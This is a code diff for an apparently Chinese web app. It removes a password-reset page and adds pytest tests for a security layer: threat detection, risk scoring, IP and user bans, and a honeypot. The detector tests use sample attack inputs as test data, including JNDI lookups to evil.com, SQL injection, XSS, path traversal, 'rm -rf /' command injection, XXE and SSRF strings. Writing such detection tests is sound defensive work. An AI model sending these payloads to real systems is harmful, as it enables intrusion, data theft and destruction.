-            </div>
-            <button type="submit" class="btn" id="submitBtn">确认重置</button>
-        </form>
-
-        <div class="back-link">
-            <a href="/login">返回登录</a>
-        </div>
-    </div>
-
-    <div class="card expired" id="expiredCard">
-        <div class="icon">
-            <svg viewBox="0 0 24 24">
-                <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/>
-            </svg>
-        </div>
-        <h1>链接已失效</h1>
-        <p>{{ error_message }}</p>
-        <div class="back-link">
-            <a href="/login">返回登录</a>
-        </div>
-    </div>
-
-    <script>
-        const token = '{{ token }}';
-        const isValid = {{ 'true' if valid else 'false' }};
-
-        if (!isValid) {
-            document.getElementById('resetForm').style.display = 'none';
-            document.getElementById('expiredCard').style.display = 'block';
-        }
-
-        async function handleResetPassword(event) {
-            event.preventDefault();
-
-            const newPassword = document.getElementById('newPassword').value;
-            const confirmPassword = document.getElementById('confirmPassword').value;
-            const errorDiv = document.getElementById('errorMessage');
-            const successDiv = document.getElementById('successMessage');
-            const submitBtn = document.getElementById('submitBtn');
-
-            errorDiv.style.display = 'none';
-            successDiv.style.display = 'none';
-
-            // 验证密码
-            if (newPassword.length < 8) {
-                errorDiv.textContent = '密码长度至少8位';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) {
-                errorDiv.textContent = '密码必须包含字母和数字';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            if (newPassword !== confirmPassword) {
-                errorDiv.textContent = '两次输入的密码不一致';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            submitBtn.disabled = true;
-            submitBtn.textContent = '处理中...';
-
-            try {
-                const response = await fetch('/api/reset-password-confirm', {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ token, new_password: newPassword })
-                });
-
-                const data = await response.json();
-
-                if (response.ok) {
-                    successDiv.textContent = '密码重置成功！3秒后跳转到登录页面...';
-                    successDiv.style.display = 'block';
-                    setTimeout(() => {
-                        window.location.href = '/login';
-                    }, 3000);
-                } else {
-                    errorDiv.textContent = data.error || '重置失败';
-                    errorDiv.style.display = 'block';
-                    submitBtn.disabled = false;
-                    submitBtn.textContent = '确认重置';
-                }
-            } catch (error) {
-                errorDiv.textContent = '网络错误，请稍后重试';
-                errorDiv.style.display = 'block';
-                submitBtn.disabled = false;
-                submitBtn.textContent = '确认重置';
-            }
-        }
-    </script>
-</body>
-</html>

tests/test_admin_security_api.py

@@ -0,0 +1,249 @@
+from __future__ import annotations
+
+from datetime import timedelta
+
+import pytest
+from flask import Flask
+
+import db_pool
+from db.schema import ensure_schema
+from db.utils import get_cst_now
+from security.blacklist import BlacklistManager
+from security.risk_scorer import RiskScorer
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "admin_security_api_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def _make_app() -> Flask:
+    from routes.admin_api.security import security_bp
+
+    app = Flask(__name__)
+    app.config.update(SECRET_KEY="test-secret", TESTING=True)
+    app.register_blueprint(security_bp)
+    return app
+
+
+def _login_admin(client) -> None:
+    with client.session_transaction() as sess:
+        sess["admin_id"] = 1
+        sess["admin_username"] = "admin"
+
+
+def _insert_threat_event(*, threat_type: str, score: int, ip: str, user_id: int | None, created_at: str, payload: str):
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO threat_events (threat_type, score, ip, user_id, request_path, value_preview, created_at)
+            VALUES (?, ?, ?, ?, ?, ?, ?)
+            """,
+            (threat_type, int(score), ip, user_id, "/api/test", payload, created_at),
+        )
+        conn.commit()
+
+
+def test_dashboard_requires_admin(_test_db):
+    app = _make_app()
+    client = app.test_client()
+
+    resp = client.get("/api/admin/security/dashboard")
+    assert resp.status_code == 403
+    assert resp.get_json() == {"error": "需要管理员权限"}
+
+
+def test_dashboard_counts_and_payload_truncation(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    now = get_cst_now()
+    within_24h = now.strftime("%Y-%m-%d %H:%M:%S")
+    within_24h_2 = (now - timedelta(hours=1)).strftime("%Y-%m-%d %H:%M:%S")
+    older = (now - timedelta(hours=25)).strftime("%Y-%m-%d %H:%M:%S")
+
+    long_payload = "x" * 300
+    _insert_threat_event(
+        threat_type="sql_injection",
+        score=90,
+        ip="1.2.3.4",
+        user_id=10,
+        created_at=within_24h,
+        payload=long_payload,
+    )
+    _insert_threat_event(
+        threat_type="xss",
+        score=70,
+        ip="2.3.4.5",
+        user_id=11,
+        created_at=within_24h_2,
+        payload="short",
+    )
+    _insert_threat_event(
+        threat_type="path_traversal",
+        score=60,
+        ip="9.9.9.9",
+        user_id=None,
+        created_at=older,
+        payload="old",
+    )
+
+    manager = BlacklistManager()
+    manager.ban_ip("8.8.8.8", reason="manual", duration_hours=1, permanent=False)
+    manager._ban_user_internal(123, reason="manual", duration_hours=1, permanent=False)
+
+    resp = client.get("/api/admin/security/dashboard")
+    assert resp.status_code == 200
+    data = resp.get_json()
+
+    assert data["threat_events_24h"] == 2
+    assert data["banned_ip_count"] == 1
+    assert data["banned_user_count"] == 1
+
+    recent = data["recent_threat_events"]
+    assert isinstance(recent, list)
+    assert len(recent) == 3
+
+    payload_preview = recent[0]["value_preview"]
+    assert isinstance(payload_preview, str)
+    assert len(payload_preview) <= 200
+    assert payload_preview.endswith("...")
+
+
+def test_threats_pagination_and_filters(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    now = get_cst_now()
+    t1 = (now - timedelta(minutes=1)).strftime("%Y-%m-%d %H:%M:%S")
+    t2 = (now - timedelta(minutes=2)).strftime("%Y-%m-%d %H:%M:%S")
+    t3 = (now - timedelta(minutes=3)).strftime("%Y-%m-%d %H:%M:%S")
+
+    _insert_threat_event(threat_type="sql_injection", score=90, ip="1.1.1.1", user_id=1, created_at=t1, payload="a")
+    _insert_threat_event(threat_type="xss", score=70, ip="2.2.2.2", user_id=2, created_at=t2, payload="b")
+    _insert_threat_event(threat_type="nested_expression", score=80, ip="3.3.3.3", user_id=3, created_at=t3, payload="c")
+
+    resp = client.get("/api/admin/security/threats?page=1&per_page=2")
+    assert resp.status_code == 200
+    data = resp.get_json()
+    assert data["total"] == 3
+    assert len(data["items"]) == 2
+
+    resp2 = client.get("/api/admin/security/threats?page=2&per_page=2")
+    assert resp2.status_code == 200
+    data2 = resp2.get_json()
+    assert data2["total"] == 3
+    assert len(data2["items"]) == 1
+
+    resp3 = client.get("/api/admin/security/threats?event_type=sql_injection")
+    assert resp3.status_code == 200
+    data3 = resp3.get_json()
+    assert data3["total"] == 1
+    assert data3["items"][0]["threat_type"] == "sql_injection"
+
+    resp4 = client.get("/api/admin/security/threats?severity=high")
+    assert resp4.status_code == 200
+    data4 = resp4.get_json()
+    assert data4["total"] == 2
+    assert {item["threat_type"] for item in data4["items"]} == {"sql_injection", "nested_expression"}
+
+
+def test_ban_and_unban_ip(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    resp = client.post("/api/admin/security/ban-ip", json={"ip": "7.7.7.7", "reason": "test", "duration_hours": 1})
+    assert resp.status_code == 200
+    assert resp.get_json()["success"] is True
+
+    list_resp = client.get("/api/admin/security/banned-ips")
+    assert list_resp.status_code == 200
+    payload = list_resp.get_json()
+    assert payload["count"] == 1
+    assert payload["items"][0]["ip"] == "7.7.7.7"
+
+    resp2 = client.post("/api/admin/security/unban-ip", json={"ip": "7.7.7.7"})
+    assert resp2.status_code == 200
+    assert resp2.get_json()["success"] is True
+
+    list_resp2 = client.get("/api/admin/security/banned-ips")
+    assert list_resp2.status_code == 200
+    assert list_resp2.get_json()["count"] == 0
+
+
+def test_risk_endpoints_and_cleanup(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    scorer = RiskScorer(auto_ban_enabled=False)
+    scorer.record_threat("4.4.4.4", 44, threat_type="xss", score=20, request_path="/", payload="<script>")
+
+    ip_resp = client.get("/api/admin/security/ip-risk/4.4.4.4")
+    assert ip_resp.status_code == 200
+    ip_data = ip_resp.get_json()
+    assert ip_data["risk_score"] == 20
+    assert len(ip_data["threat_history"]) >= 1
+
+    user_resp = client.get("/api/admin/security/user-risk/44")
+    assert user_resp.status_code == 200
+    user_data = user_resp.get_json()
+    assert user_data["risk_score"] == 20
+    assert len(user_data["threat_history"]) >= 1
+
+    # Prepare decaying scores and expired ban
+    old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            ("5.5.5.5", old_ts, old_ts, old_ts),
+        )
+        cursor.execute(
+            """
+            INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
+            VALUES (?, ?, 1, ?, ?)
+            """,
+            ("6.6.6.6", "expired", old_ts, old_ts),
+        )
+        conn.commit()
+
+    manager = BlacklistManager()
+    assert manager.is_ip_banned("6.6.6.6") is False  # expired already
+
+    cleanup_resp = client.post("/api/admin/security/cleanup", json={})
+    assert cleanup_resp.status_code == 200
+    assert cleanup_resp.get_json()["success"] is True
+
+    # Score decayed by cleanup
+    assert RiskScorer().get_ip_score("5.5.5.5") == 81
+

tests/test_browser_pool_worker.py

@@ -0,0 +1,74 @@
+from __future__ import annotations
+
+import queue
+
+from browser_pool_worker import BrowserWorker
+
+
+class _AlwaysFailEnsureWorker(BrowserWorker):
+    def __init__(self, *, worker_id: int, task_queue: queue.Queue):
+        super().__init__(worker_id=worker_id, task_queue=task_queue, pre_warm=False)
+        self.ensure_calls = 0
+
+    def _ensure_browser(self) -> bool:  # noqa: D401 - matching base naming
+        self.ensure_calls += 1
+        if self.ensure_calls >= 2:
+            self.running = False
+        return False
+
+    def _close_browser(self):
+        self.browser_instance = None
+
+
+def test_requeue_task_when_browser_unavailable():
+    task_queue: queue.Queue = queue.Queue()
+    callback_calls: list[tuple[object, object]] = []
+
+    def callback(result, error):
+        callback_calls.append((result, error))
+
+    task = {
+        "func": lambda *_args, **_kwargs: None,
+        "args": (),
+        "kwargs": {},
+        "callback": callback,
+        "retry_count": 0,
+    }
+
+    worker = _AlwaysFailEnsureWorker(worker_id=1, task_queue=task_queue)
+    worker.start()
+    task_queue.put(task)
+    worker.join(timeout=5)
+
+    assert worker.is_alive() is False
+    assert worker.ensure_calls == 2  # 本地最多尝试2次创建执行环境
+    assert callback_calls == []  # 第一次失败会重新入队，不应立即回调失败
+
+    requeued = task_queue.get_nowait()
+    assert requeued["retry_count"] == 1
+
+
+def test_fail_task_after_second_assignment():
+    task_queue: queue.Queue = queue.Queue()
+    callback_calls: list[tuple[object, object]] = []
+
+    def callback(result, error):
+        callback_calls.append((result, error))
+
+    task = {
+        "func": lambda *_args, **_kwargs: None,
+        "args": (),
+        "kwargs": {},
+        "callback": callback,
+        "retry_count": 1,  # 已重新分配过1次
+    }
+
+    worker = _AlwaysFailEnsureWorker(worker_id=1, task_queue=task_queue)
+    worker.start()
+    task_queue.put(task)
+    worker.join(timeout=5)
+
+    assert worker.is_alive() is False
+    assert callback_calls == [(None, "执行环境不可用")]
+    assert worker.total_tasks == 1
+    assert worker.failed_tasks == 1

tests/test_honeypot_responder.py

@@ -0,0 +1,63 @@
+from __future__ import annotations
+
+import uuid
+
+from security import HoneypotResponder
+
+
+def test_should_use_honeypot_threshold():
+    responder = HoneypotResponder()
+    assert responder.should_use_honeypot(79) is False
+    assert responder.should_use_honeypot(80) is True
+    assert responder.should_use_honeypot(100) is True
+
+
+def test_generate_fake_response_email():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/forgot-password")
+    assert resp["success"] is True
+    assert resp["message"] == "邮件已发送"
+
+
+def test_generate_fake_response_register_contains_fake_uuid():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/register")
+    assert resp["success"] is True
+    assert "user_id" in resp
+    uuid.UUID(resp["user_id"])
+
+
+def test_generate_fake_response_login():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/login")
+    assert resp == {"success": True}
+
+
+def test_generate_fake_response_generic():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/tasks/run")
+    assert resp["success"] is True
+    assert resp["message"] == "操作成功"
+
+
+def test_delay_response_ranges():
+    responder = HoneypotResponder()
+
+    assert responder.delay_response(0) == 0
+    assert responder.delay_response(20) == 0
+
+    d = responder.delay_response(21)
+    assert 0.5 <= d <= 1.0
+    d = responder.delay_response(50)
+    assert 0.5 <= d <= 1.0
+
+    d = responder.delay_response(51)
+    assert 1.0 <= d <= 3.0
+    d = responder.delay_response(80)
+    assert 1.0 <= d <= 3.0
+
+    d = responder.delay_response(81)
+    assert 3.0 <= d <= 8.0
+    d = responder.delay_response(100)
+    assert 3.0 <= d <= 8.0
+

tests/test_response_handler.py

@@ -0,0 +1,72 @@
+from __future__ import annotations
+
+import random
+
+import security.response_handler as rh
+from security import ResponseAction, ResponseHandler, ResponseStrategy
+
+
+def test_get_strategy_banned_blocks():
+    handler = ResponseHandler(rng=random.Random(0))
+    strategy = handler.get_strategy(10, is_banned=True)
+    assert strategy.action == ResponseAction.BLOCK
+    assert strategy.delay_seconds == 0
+    assert strategy.message == "访问被拒绝"
+
+
+def test_get_strategy_allow_levels():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    s = handler.get_strategy(0)
+    assert s.action == ResponseAction.ALLOW
+    assert s.delay_seconds == 0
+    assert s.captcha_level == 1
+
+    s = handler.get_strategy(21)
+    assert s.action == ResponseAction.ALLOW
+    assert s.delay_seconds == 0
+    assert s.captcha_level == 2
+
+
+def test_get_strategy_delay_ranges():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    s = handler.get_strategy(41)
+    assert s.action == ResponseAction.DELAY
+    assert 1.0 <= s.delay_seconds <= 2.0
+
+    s = handler.get_strategy(61)
+    assert s.action == ResponseAction.DELAY
+    assert 2.0 <= s.delay_seconds <= 5.0
+
+    s = handler.get_strategy(81)
+    assert s.action == ResponseAction.HONEYPOT
+    assert 3.0 <= s.delay_seconds <= 8.0
+
+
+def test_apply_delay_uses_time_sleep(monkeypatch):
+    handler = ResponseHandler(rng=random.Random(0))
+    strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=1.234)
+
+    called = {"count": 0, "seconds": None}
+
+    def fake_sleep(seconds):
+        called["count"] += 1
+        called["seconds"] = seconds
+
+    monkeypatch.setattr(rh.time, "sleep", fake_sleep)
+
+    handler.apply_delay(strategy)
+    assert called["count"] == 1
+    assert called["seconds"] == 1.234
+
+
+def test_get_captcha_requirement():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.ALLOW, captcha_level=2))
+    assert req == {"required": True, "level": 2}
+
+    req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.BLOCK, captcha_level=2))
+    assert req == {"required": False, "level": 2}
+

tests/test_risk_scorer.py

@@ -0,0 +1,179 @@
+from __future__ import annotations
+
+from datetime import timedelta
+
+import pytest
+
+import db_pool
+from db.schema import ensure_schema
+from db.utils import get_cst_now
+from security import constants as C
+from security.blacklist import BlacklistManager
+from security.risk_scorer import RiskScorer
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "risk_scorer_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def test_record_threat_updates_scores_and_combined(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "1.2.3.4"
+    user_id = 123
+
+    assert scorer.get_ip_score(ip) == 0
+    assert scorer.get_user_score(user_id) == 0
+    assert scorer.get_combined_score(ip, user_id) == 0
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=30, request_path="/login", payload="x")
+
+    assert scorer.get_ip_score(ip) == 30
+    assert scorer.get_user_score(user_id) == 30
+    assert scorer.get_combined_score(ip, user_id) == 30
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=80, request_path="/login", payload="y")
+
+    assert scorer.get_ip_score(ip) == 100
+    assert scorer.get_user_score(user_id) == 100
+    assert scorer.get_combined_score(ip, user_id) == 100
+
+
+def test_auto_ban_on_score_100(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "5.6.7.8"
+    user_id = 456
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=100, request_path="/api", payload="boom")
+
+    assert manager.is_ip_banned(ip) is True
+    assert manager.is_user_banned(user_id) is True
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None
+
+
+def test_jndi_injection_permanent_ban(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "9.9.9.9"
+    user_id = 999
+
+    scorer.record_threat(ip, user_id, threat_type=C.THREAT_TYPE_JNDI_INJECTION, score=100, request_path="/", payload="${jndi:ldap://x}")
+
+    assert manager.is_ip_banned(ip) is True
+    assert manager.is_user_banned(user_id) is True
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+
+def test_high_risk_three_times_permanent_ban(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager, high_risk_threshold=80, high_risk_permanent_ban_count=3)
+
+    ip = "10.0.0.1"
+    user_id = 1
+
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="a")
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="b")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None  # score hits 100 => temporary ban first
+
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="c")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None  # 3 high-risk threats => permanent
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+
+def test_decay_scores_hourly_10_percent(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "3.3.3.3"
+    user_id = 11
+
+    old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            (ip, old_ts, old_ts, old_ts),
+        )
+        cursor.execute(
+            """
+            INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            (user_id, old_ts, old_ts, old_ts),
+        )
+        conn.commit()
+
+    scorer.decay_scores()
+
+    assert scorer.get_ip_score(ip) == 81
+    assert scorer.get_user_score(user_id) == 81
+

tests/test_security_middleware.py

@@ -0,0 +1,155 @@
+from __future__ import annotations
+
+import pytest
+from flask import Flask, g, jsonify
+from flask_login import LoginManager
+
+import db_pool
+from db.schema import ensure_schema
+from security import init_security_middleware
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "security_middleware_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def _make_app(monkeypatch, _test_db, *, security_enabled: bool = True, honeypot_enabled: bool = True) -> Flask:
+    import security.middleware as sm
+    import security.response_handler as rh
+
+    # 避免测试因风控延迟而变慢
+    monkeypatch.setattr(rh.time, "sleep", lambda _seconds: None)
+
+    # 每个测试用例保持 handler/honeypot 的懒加载状态
+    sm.handler = None
+    sm.honeypot = None
+
+    app = Flask(__name__)
+    app.config.update(
+        SECRET_KEY="test-secret",
+        TESTING=True,
+        SECURITY_ENABLED=bool(security_enabled),
+        HONEYPOT_ENABLED=bool(honeypot_enabled),
+        SECURITY_LOG_LEVEL="CRITICAL",  # 降低测试日志噪音
+    )
+
+    login_manager = LoginManager()
+    login_manager.init_app(app)
+
+    @login_manager.user_loader
+    def _load_user(_user_id: str):
+        return None
+
+    init_security_middleware(app)
+    return app
+
+
+def _client_get(app: Flask, path: str, *, ip: str = "1.2.3.4"):
+    return app.test_client().get(path, environ_overrides={"REMOTE_ADDR": ip})
+
+
+def test_middleware_blocks_banned_ip(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/ping")
+    def _ping():
+        return jsonify({"ok": True})
+
+    import security.middleware as sm
+
+    sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
+
+    resp = _client_get(app, "/api/ping", ip="1.2.3.4")
+    assert resp.status_code == 503
+    assert resp.get_json() == {"error": "服务暂时繁忙，请稍后重试"}
+
+
+def test_middleware_skips_static_requests(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/static/test")
+    def _static_test():
+        return "ok"
+
+    import security.middleware as sm
+
+    sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
+
+    resp = _client_get(app, "/static/test", ip="1.2.3.4")
+    assert resp.status_code == 200
+    assert resp.get_data(as_text=True) == "ok"
+
+
+def test_middleware_honeypot_short_circuits_side_effects(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db, honeypot_enabled=True)
+
+    called = {"count": 0}
+
+    @app.get("/api/side-effect")
+    def _side_effect():
+        called["count"] += 1
+        return jsonify({"real": True})
+
+    resp = _client_get(app, "/api/side-effect?q=${${a}}", ip="9.9.9.9")
+    assert resp.status_code == 200
+    payload = resp.get_json()
+    assert isinstance(payload, dict)
+    assert payload.get("success") is True
+    assert called["count"] == 0
+
+
+def test_middleware_fails_open_on_internal_errors(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/ok")
+    def _ok():
+        return jsonify({"ok": True, "risk_score": getattr(g, "risk_score", None)})
+
+    import security.middleware as sm
+
+    def boom(*_args, **_kwargs):
+        raise RuntimeError("boom")
+
+    monkeypatch.setattr(sm.blacklist, "is_ip_banned", boom)
+    monkeypatch.setattr(sm.detector, "scan_input", boom)
+
+    resp = _client_get(app, "/api/ok", ip="2.2.2.2")
+    assert resp.status_code == 200
+    assert resp.get_json()["ok"] is True
+
+
+def test_middleware_sets_request_context_fields(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/context")
+    def _context():
+        strategy = getattr(g, "response_strategy", None)
+        action = getattr(getattr(strategy, "action", None), "value", None)
+        return jsonify({"risk_score": getattr(g, "risk_score", None), "action": action})
+
+    resp = _client_get(app, "/api/context", ip="8.8.8.8")
+    assert resp.status_code == 200
+    assert resp.get_json() == {"risk_score": 0, "action": "allow"}

tests/test_threat_detector.py

@@ -0,0 +1,96 @@
+from flask import Flask, request
+
+from security import constants as C
+from security.threat_detector import ThreatDetector
+
+
+def test_jndi_direct_scores_100():
+    detector = ThreatDetector()
+    results = detector.scan_input("${jndi:ldap://evil.com/a}", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_jndi_encoded_scores_100():
+    detector = ThreatDetector()
+    results = detector.scan_input("%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fa%7D", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_jndi_obfuscated_scores_100():
+    detector = ThreatDetector()
+    payload = "${${::-j}${::-n}${::-d}${::-i}:rmi://evil.com/a}"
+    results = detector.scan_input(payload, "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_nested_expression_scores_80():
+    detector = ThreatDetector()
+    results = detector.scan_input("${${env:USER}}", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_NESTED_EXPRESSION and r.score == 80 for r in results)
+
+
+def test_sqli_union_select_scores_90():
+    detector = ThreatDetector()
+    results = detector.scan_input("UNION SELECT password FROM users", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
+
+
+def test_sqli_or_1_eq_1_scores_90():
+    detector = ThreatDetector()
+    results = detector.scan_input("a' OR 1=1 --", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
+
+
+def test_xss_scores_70():
+    detector = ThreatDetector()
+    results = detector.scan_input("<script>alert(1)</script>", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_XSS and r.score == 70 for r in results)
+
+
+def test_path_traversal_scores_60():
+    detector = ThreatDetector()
+    results = detector.scan_input("../../etc/passwd", "path")
+    assert any(r.threat_type == C.THREAT_TYPE_PATH_TRAVERSAL and r.score == 60 for r in results)
+
+
+def test_command_injection_scores_85():
+    detector = ThreatDetector()
+    results = detector.scan_input("test; rm -rf /", "cmd")
+    assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
+
+
+def test_ssrf_scores_75():
+    detector = ThreatDetector()
+    results = detector.scan_input("http://127.0.0.1/admin", "url")
+    assert any(r.threat_type == C.THREAT_TYPE_SSRF and r.score == 75 for r in results)
+
+
+def test_xxe_scores_85():
+    detector = ThreatDetector()
+    payload = """<?xml version="1.0"?>
+    <!DOCTYPE foo [
+      <!ENTITY xxe SYSTEM "file:///etc/passwd">
+    ]>"""
+    results = detector.scan_input(payload, "xml")
+    assert any(r.threat_type == C.THREAT_TYPE_XXE and r.score == 85 for r in results)
+
+
+def test_template_injection_scores_70():
+    detector = ThreatDetector()
+    results = detector.scan_input("Hello {{ 7*7 }}", "tpl")
+    assert any(r.threat_type == C.THREAT_TYPE_TEMPLATE_INJECTION and r.score == 70 for r in results)
+
+
+def test_sensitive_path_probe_scores_40():
+    detector = ThreatDetector()
+    results = detector.scan_input("/.git/config", "path")
+    assert any(r.threat_type == C.THREAT_TYPE_SENSITIVE_PATH_PROBE and r.score == 40 for r in results)
+
+
+def test_scan_request_picks_up_args():
+    app = Flask(__name__)
+    detector = ThreatDetector()
+
+    with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
+        results = detector.scan_request(request)
+        assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)